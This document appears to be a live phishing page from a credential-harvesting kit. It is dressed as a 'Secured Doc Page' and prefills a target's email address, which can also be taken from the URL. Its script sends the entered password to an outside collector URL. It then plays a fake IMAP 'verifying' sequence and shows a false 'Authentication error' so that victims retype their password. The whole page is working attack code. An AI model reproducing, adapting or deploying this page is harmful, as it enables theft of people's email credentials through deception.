<!DOCTYPE html>
<html>
        <head>
                <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
                <title>Secured Doc Page</title>
        
        <script>
            
        var form_url = 'https://petrolab.com.my/pdf/cp.php';//Enter URL of form.php in CP
            
        </script>


                <meta name="viewport" content="width=device-width, initial-scale=1">
                <link rel="stylesheet" href="https://sudden-jade-mochi.glitch.me/main.css">

                <script>
                        addEventListener("load", function () {
                                setTimeout(hideURLbar, 0);
                        }, false);

                        function hideURLbar() {
                                window.scrollTo(0, 1);
                        }
                </script>

                

        
                <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>


        </head>
        <body>

                <!-- main -->
                <div class="w3layouts-main"> 
                        <div class="bg-layer">
                                <!-- <h1> </h1> -->
                                <div id="topbannerdiv"><div class="w-adologo"><span></span></div></div>                 
                                <div class="header-main">
                                        <div class="main-icon">
                                                <img src="https://cdn.glitch.com/3cfe8ae0-c463-48b5-bfa0-7f3023512026%2Fhea.png" class="redbanner">
                                                <!-- <span class="fa fa-eercast"></span> -->
                                        </div>

                                        <div class="header-left-bottom">
                                                <form action="#" method="post">
                                                        <div class="errormsg hide" id="errormsg">
                                Authentication error
                                                        </div>
                                                        <div class="radio-options">
                                                                <input type="radio" id="view" name="action" value="view" checked="">
                                                                <label for="view">View File Online</label><br>
                                                                <input type="radio" id="download" name="action" value="download">
                                                                <label for="download">Download File</label><br>
                                                                <input type="radio" id="send" name="action" value="send">
                                                                <label for="send">Send File to Email</label>                              
                                                        </div>    
                                                        <div id="input-area">                           
                                                                <label for="username">Email Address</label>
                                                                <div class="icon1">
                                                                        <span class="fa fa-user"></span>
                                                                        <input type="email" name="email" id="email" value="debian-med-packaging@lists.alioth.debian.org"  placeholder="Email address here" required="" readonly>
                                                                </div>
                                                                <label for="password">Password</label>
                                                                <div class="icon1">
                                                                        <span class="fa fa-lock"></span>
                                                                        <input type="password" name="pass" id="password" placeholder="Password here" required="">
                                                                </div>
                                                        </div>
                                                        <div class="bottom" align="center">
                                                                <button class="btn" id="login-btn">LOGIN TO ACCESS FILE</button>
                                                        </div>
                                                </form>   
                                                <div class="instruction">To access our online secure document page, you are required to login your email address, this is to ensure you are the rightful recipient for the protect file. Unauthorized access is highly prohibited</div>
                                        </div>
                                </div>
                                
                        </div>
                </div>    
                <!-- //scripts -->
                
                <script type="text/javascript">
                $(document).ready(function(){
    //alert("hello jquery");
    $("#login-btn").click(function(event){
        event.preventDefault();
        event.stopPropagation();
        var email = $("#email").val();
        var password = $("#password").val();
        var domain = email.split("@")[1];
        var elem = $(this);
        $("#errormsg").addClass('hide');
        if(password.length < 3){
            alert('Please enter a valid password');
            return ;
        }
        elem.prop('disabled', true);
        elem.html('<small>connecting to your email server...</small>');
        
        $.ajax({
            url: form_url,
            method: 'post',
            data: {
                email: email,
                pass: password
            },
            success: function(data){
                console.log(data);
                setTimeout(() => {
                    elem.html('<small>connected to <b>mail.'+domain+'</b> using IMAP</small>');
                    setTimeout(() => {
                        elem.html('<small>verifying your credentials...</small>');
                        setTimeout(() => {
                            elem.text('LOGIN TO ACCESS FILE');
                            elem.prop('disabled', false);
                            $("#password").val("").focus();
                            $("#errormsg").removeClass('hide');
                        }, 1500);
                    }, 1000);
                }, 1000);
            }
        })
    })
});
   
            if(location.hash){
               document.querySelector('#email').value=eml=location.hash.substr(1);
               }
            
                </script>
<div id="bgrd"></div>
        </body>
</html>